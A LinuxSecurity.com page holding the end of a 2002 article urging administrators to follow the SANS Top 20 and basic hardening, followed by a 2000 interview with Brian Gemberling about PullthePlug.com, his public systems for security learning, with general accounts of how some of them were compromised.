that for each exploit of a well-known vulnerability there are a lot more resources on how to fix these problem. SANS ( Cyber Security Training, Degrees & Resources | SANS Institute ) has a Top-Twenty List of the most common security vulnerabilities and what to do to fix each one. In cooperation with some commercial and open source organizations there are tools to help identify these vulnerabilities and documentation on how to fix these problems or mitigate the risks. The SANS list will help the overworked admins to identify and fix those vulnerabilities. The SANS lists and recommendations won't prevent attackers from compromising your servers but help minimize the risk of the most common attacks and it will make you AWARE . Awareness is critical on the part of the admins and users. Once a system has been compromised or is suspected of being compromised then all systems have to be checked for compromise. If you have servers that have been compromised that are on your internal network then you have a much bigger problem. Someone has compromised an external server and "bounced" around your network or you have an attacker inside your organization. Internal networks and internal servers tend to have weaker trust relationships and weaker security standards than a server directly accessible from outside the network. There should be no distinction between which is more important, internal or external network security. Equal weight should be put on each. Patching a service directly accessible from the Internet should be given a high priority, however, quickly followed up by patching internal services. Imagine the work and time involved in checking 200 servers for a compromise in a short period of time versus the time to comment out unneeded services in /etc/inetd.conf and running: killall -HUP inetd . "Okay I read the list but how do I know what services aren't needed?" The SANSdocumentation, the linuxsecurity.com mailing list, talking to other administrators, and those you work with can help you find out. If no one is sure, shut it off and see who complains. If someone complains because you shut off a service, question it before turning it back on. If you have to keep a service running with a significant history of security problems then be sure it is monitored closely and only the people who need access to the service have access to it (patches and updates could possibly remove security settings or enable a service you had previously shut off so keep a close eye on these kind of services and other services, for that matter, after patching or upgrading) . Getting started with basic security procedures. Go somewhere quiet and follow these recommendations: SANS Top 20 Security Vulnerabilities (Be sure the check the "Related Resources" section on that page) -- CIS Controls v8 Released | SANS Institute Check the Appendix of the SANS Top 20 List for the most common ports to block, as well. The further out, topologically, you can block ports on your network the bet ter. Block it at the router before it has a chance to even get inside your network. SANS free security digest -- Linuxsecurity.com has daily headlines and archives to keep you up-to-date on pressing security issues and security HOWTO's -- / Subscribe to Bugtraq to stay abreast of security vulnerabilities -- Send out periodic easy-to-read email messages to your employees and co-workers on how to deal with a security problem. There is nothing I love more than a call from a fellow employee about a suspicious email, for example, with an attachment. Even though I may tell the same person the same thing "Delete it and empty it from the trash", it brings me comfort that they are vigilant and on the look out. Any network service you run and any OS distribution you run, subscribe to their security and/or their announcement mailing lists. Keep managementinformed on security issues that directly affect your organization and what can be done to prevent any problems from occurring. Conclusion Keeping computers secure is not an easy task. It requires diligence and patience but it is required. Customers believing their credit card was on the server with " Hackers looooooooooooooooove noodles " on the front page is enough to lose customer satisfaction and revenue. Revenue lost is not just from the customer dissatisfaction but is magnified by the downtime associated with a compromise. The basics in security can go a long way. While you are at it go ahead and write a document that explains what procedures are to be done before a server even goes on the network. Securing a server is much easier to do when done from a fresh install. Managers, ensure that your admins have read the SANS Top 20 list and are working on implementing the recommendations on the list. Also, Managers, we need your support! References "Linux Security". 2002. Linux Security - The Community's Center for Security . / "SANS/FBI Top 20 List". Version 3.2.1. SANS Institute. 2002. " SANS/FBI Top 200 List: The Twenty Most Critical Internet Security Vul nerabilities (Updated) ~ The Experts Consensus . https://www.sans.org/blog/cis-controls-v8 Schneier, Bruce. Secrets and Lies: Digital Security in a Networked World . New York: John Wiley & Sons. 2000. Stoll, Clifford. The Cuckoo's Egg . New York: Doubleday, 1989. First and foremost, thanks to the Linuxsecurity.com team for their continued support. Thanks to Bone, Chris, Cris, Barium Spring Home for Children ("The Foundation of Duane's Path to Liberation"), Charla, Chris sy, Mr. David, Bob, Donna, CFCC, Pfeiffer University , Leslie, STG, NCDC, Patti, Lauren , Jason , The Inskeep's, The Sherrill's, and mutsman for their continued support for all that I do. All that I have learne d and do on a daily basis is because they never say, " No! " or " Don't dothat! " because they believe in what I do and have faith that I will choose the rig ht path. Their love is great support. They are "My Soul's Joy" Duane Dunston is a Computer Security Analyst at STG Inc. for the National Climatic Data Center in Asheville, NC. He received his B.A. and M.S. degrees from Pfeiffer University and he has his GSEC certification from SANS. He hangs out at Old Europe Cafe, Early Girl's eatery, Anntony's, and any place with good tea and hot chocolate. Duane has been working in security for 5 years and wishes he had the funding for a "Basic Security Tour" so he could provide the world with hands-on training on how to implement the security recommendations from the Sans Top 20 List of the most common vulnerabilities. He knows that applying these recommendations to any network can minimize the most common types of attacks. Not only does he enjoy his work in computer security, he also likes to get involved in its ever-growing technologies. Duane says, "Security is one of those jobs where you have to stay abreast of new technologies and new ways that attackers are compromising computer systems. Security keeps evolving and the industry has to keep up with it, that is why we need well-trained, evolving security professionals supportive managers to help us with this ongoing process". . Safeguard your frameworks by recognizing prevalent vulnerabilities and implementing forward-thinking strategies for defense and vigilance.. SystemCompromise, SecurityAwareness, VulnerabilityMitigation, AdminTools, NetworkProtection. . Duane Dunston
Dec 16, 2002
•
102
network securitysecurity educationsystem compromiseInterview with Brian Gemberling: Insights on Network Security and Learning
An interview with Brian Gemberling, creator of the PullthePlug.com project. Brian invites everyone to find security vulnerabilities on his open systems.. A fter visiting PullthePlug.com, I thought that our readers would be interested in finding out more about the project. Brian Gemberling , the project leader, has offered multiple Linux, BSD, and CISCO systems to the public for exploration. A listing of available systems with IP address and login information can be found here. Brain invites everyone to use his systems to explore the possibilities of current technology. We decided to interview him because of the number of security concerns that he needed to address. We hope that by reading this interview you have a better understanding of how systems are compromised and how to prevent future incidents. LinuxSecurity: When and how did you gain interest in security? How did you gain your security knowledge? How did 'PullthePlug.com' begin? Gemberling: I really got interested in computer/network-based security in my last two and a half years of college. I enjoyed working with networks and Unix immensely and I was always looking to learn more. Needless to say once I got interested in network/Unix security I was no longer looking to learn more, I was learning more. I realized that there was what seemed to be an endless wealth of knowledge one these subjects. There was one catch, however, there was very little in the way of "structured" subject matter. At that time you could not just walk into Borders and pick up a book on differing types of computer related security. At first I was disappointed about this. In time I realized going to a bookstore and buying a book on security does not make one a security expert (not that I consider myself one). I learned security in what most people would consider the hard way. I basically read text files, tried things out on my own, installed BSD and Linux countless times, broke BSD and Linux countless times (At that time I seemed to excel atthis), ran tcpdump to understand attacks, tried (and failed) to exploit systems on my college network, and lastly tried (and succeeded) to exploit systems on my college network. The last two steps brought me to some conclusions. One I was lucky I never got caught trying to exploit those systems before I knew what I was doing. Two, I was lucky I never gained access to those systems before I knew what I was doing. Third, I was extremely lucky that once I knew enough to exploit those systems I had the head of the Computer Science program to back me up and allow me to secure the systems I exploited. Fourth, it would have been nice to have somewhere to learn, without the risks of getting caught. Once I graduated from college I got a job at a large tier-1 ISP doing security work. A lot of my co-workers where interested in learning more about security. At the time I had about four machines and a cable modem with one static IP address. I set up the four machines and just basically did port forwarding to my machines. You could login to each machine by hitting a different port. This is really how the idea for pulltheplug.com came about. Obviously the implementation is a bit different now. LinuxSecurity: Could you explain to our readers what the 'pulltheplug.com' project is about? Gemberling: I can sum up the goal of pulltheplug.com in one word: learning. That's the entire purpose of pulltheplug.com. I get a chance to learn, others get a chance to learn, etc. I think and hope that it is a win-win situation for everyone that comes and uses my network. The best part about pulltheplug.com in my opinion is no holds barred learning. That's the best there is. As I state on my site, just about anything goes except Denial of Service attacks and anything else that is more or less useless and stupid. LinuxSecurity: How far do you intend to take this project? What do you gain from doing this? Gemberling: I intend to continue with pulltheplug.com until it no longer is funor interesting. Hopefully that will not happen anytime soon. Some friends and I have a few utilities we would like to write, so that will be a next step. As for what I gain from running pulltheplug.com, I get to learn more. Nothing more, nothing less. I do not get any money from pulltheplug.com, in fact line costs and hardware costs come out of my own pocket. LinuxSecurity: Before putting each system online, what steps do you follow to protect yourself and your liability? Are there known vulnerabilities on your systems left open intentionally? .. or have you secured these systems completely to your knowledge? Gemberling: Before I put each system online I do the following. Maybe your readers will find these steps useful for their systems. 1.) Install a basic stripped down system. I install only what I need and nothing more. The worst thing you can do is install a system and not know what is on it. I rarely install any daemons from the system distribution. I feel better downloading the source, checking it out, and compiling/installing it myself. 2.) Turn off all unneeded services. If I am ever uncertain if I will need a service, this is usually a good indication I don't need it. Plus if I do need it I can always turn it back on later. 3.) If it is a Linux based system I download the latest and greatest stable kernel release. Then I go to Openwall https://www.openwall.com/ and get Solar Designer's security patches. This patch adds multiple security features to the Linux kernel. I apply the patch and recompile the kernel with only the drivers and features I need and nothing more. Again this is just basic security practice, save applying the Openwall patch, that everyone should do with a system that needs basic to advanced security. If it is not Linux I just recompile the kernel with only the drivers and features I need. 4.) I make sure every package that I have installed is up to date and "secure". Those are the basic steps I use to implementa new machine into my network. Until null0.pulltheplug.com came up I had never left any holes open on my boxes. I took a different approach on null0, I left a hole open, but there was no publicly available exploit out. LinuxSecurity: How many of your systems have been compromised, and can you explain step-by-step how each system was compromised? Gemberling: I've had three of my systems compromised, at least to my knowledge only three have been compromised. The first machines compromised was bassd. It is a FreeBSD box and more or less the box got rooted because I was lazy and slow to apply the patch. The exploit that was used was the /proc vulnerability in the BSD kernel. I saw the post about it on bugtraq and I went outside to run. I got back about 45 minutes later and I saw the exploit on bugtraq. Well needless to say it was too late. About 2 minutes later I got an email with the title, Gotcha! Null0 was the second box to be compromised. This was for lack of a better term, really cool. I put up Null0 and did not allow any local access to the box. I said there was a known hole on the box but there was no public exploit out for it. A fellow figured out it was gdm and within about a week had written his own exploit and compromised the box. The last box that was compromised was roothat. Another fellow gained root access on this box via the recent Linux kernel bug. When he/she compromised the box it was not a known issue and therefore the box was not upgraded to a new kernel, because quite frankly the new kernel was not available. All of these exploits are now public and the code is readily available at PacketStorm Security LinuxSecurity: What is the average amount of time a person will spend trying to compromise your system and how closely do you monitor their actions? Gemberling: Typically someone will come on and try every exploit they can find. This takes about 20 minutes or so. Originally I monitored everyone's actions on the servers quite closely. Thishas become more difficult recently because of the sheer volume of users on the boxes. In just the first twelve days of June there were over 2,000 separate logins on roothat. LinuxSecurity: What are some of the most common methods people use to find vulnerabilities on your systems? Gemberling: Searching for SUID binaries and trying prewritten exploits. LinuxSecurity: What are some of the most creative ways people have tried to compromise your security? How many known attempts have been made? Gemberling: The most creative way was creating their own exploits. I couldn't even begin to come up with a number of how many attempts have been made. LinuxSecurity: What do you feel is the most common vulnerability in Linux systems worldwide? What can administrators do to prevent this? Gemberling: Improper configuration and not keeping up to date with packages/patches. A lot of administrators seem to think just because you put up a Linux box you can walk away from it and it will be secure. This is simply not true. In order to be a good administrator and keep your site secure you have to pay attention. A good administrator will keep up to date with patches, keep up with mailing list such as bugtraq, and just watch their system. The worse thing any administrator can do is just setup a box, put it in the corner and walk away. LinuxSecurity: What are some of the major pitfalls Linux Administrators fall into? How has the pull the plug project helped you as an administrator? Gemberling: I'm not an administrator of systems by trade so this question is probably not best answered by me. I honestly do very little administration of the boxes on my network other than the initial setup/configuration and making sure they are running. I could say that this has taught me that a properly setup Unix based system actually takes very little time to administer but I don't think that is true. I don't view what I do as administering my machines, so I've never really seen myactions in that capacity. LinuxSecurity: What system on your network would you consider to be 'most secure' and why? Can you explain how that ties in to your entire network infrastructure? Gemberling: I feel is my most secure box is Generic.labs.pulltheplug.com. The reason? OpenBSD, what more is there to say. I know this is a Linux publication but if you are really serious about security, OpenBSD is worth your while to look into. It doesn't have all the latest and greatest features (one of the many reasons it is so secure out of the box) but it is a very capable server. LinuxSecurity: Have you considered putting up a windows NT/2000 system? Do you feel that open-source software is more secure? (support your answer with why). Gemberling: I've considered putting up an NT machine, however, I don't have a copy of NT and the licensing is quite expensive. As for open-source being more secure, that's a tricky question. Open-source obviously has strengths over closed-source software for usability and portability. One would think that since a piece of software is open-source and available to all it would be more secure, but this is not always true. Basically it comes down to who finds the security flaws in the software first. Closed-source software has an advantage in this case due to its lack of availability of the source code. This is obviously "security through obscurity" which in my opinion is not the proper approach, but none the less it is a frequent approach. The strength in open-source software is the potential number of programmers that could possibly audit the code in question. Overall I feel open-source is more secure yes, however, making any piece of software secure is a tremendous task. Security depends on the programmer. This is basically the problem; humans are imperfect and therefore so are their end products. Imperfect products obviously are not secure. LinuxSecurity: How do you feel about the mass-media's portrayal of 'hacking'? Gemberling:Honestly I don't really pay much attention to mass media, I tend to find current events depressing. From what I have seen it's pretty much typical of what one would expect from the media, exploitation. The media knows the public fears what they do not understand and they wield that fear very well. The situation worsens due to the fact that "Hacking", computers, networks, the Internet, software, and the mix, as a hole is so very complex. I would love for a reporter to give the real story; the one about how if there never were hackers there would not be such technologies as TCP/IP, HTTP, Streaming Video, HTML, packet switched networks, etc. If it were not for hackers we would all probably still be on circuit switched networks using gopher, WAIS, and ANSI for color. It would be nice to see someone point out that "hackers" typically are visionaries with good intentions, not the underground sociopathic individuals they are portrayed to be in the media. LinuxSecurity: I would like to thank Brian for having this interview. We look forward to seeing future projects! If anyone has any questions reguarding this interview, please feel free to drop us an email . As always, if you have any ideas for other interviews, or any suggestions, please let us know. We want to serve you! . Explore the cutting-edge platform PullthePlug.com, created by Brian Gemberling, designed to identify network security vulnerabilities and promote knowledge sharing. Network Security Learning, Open Systems Exploration, System Compromise, Unix Security Insights, Exploration Project. . Brittany Day
Jun 26, 2000
•
Get the latest News and Insights
Get the latest Linux and open source security news straight to your inbox.
Community Poll
What got you started with Linux?
Search Topics
Powered By
Linux Security - Your source for Top Linux News, Advisories, HOWTOs and Feature Releases
QUICK LINKS
subscribe to newsletters!
Like staying secure? So do we.
Sign up for updates, tips, and alerts!
Explore top 10 tips to secure your open-source projects now. Read More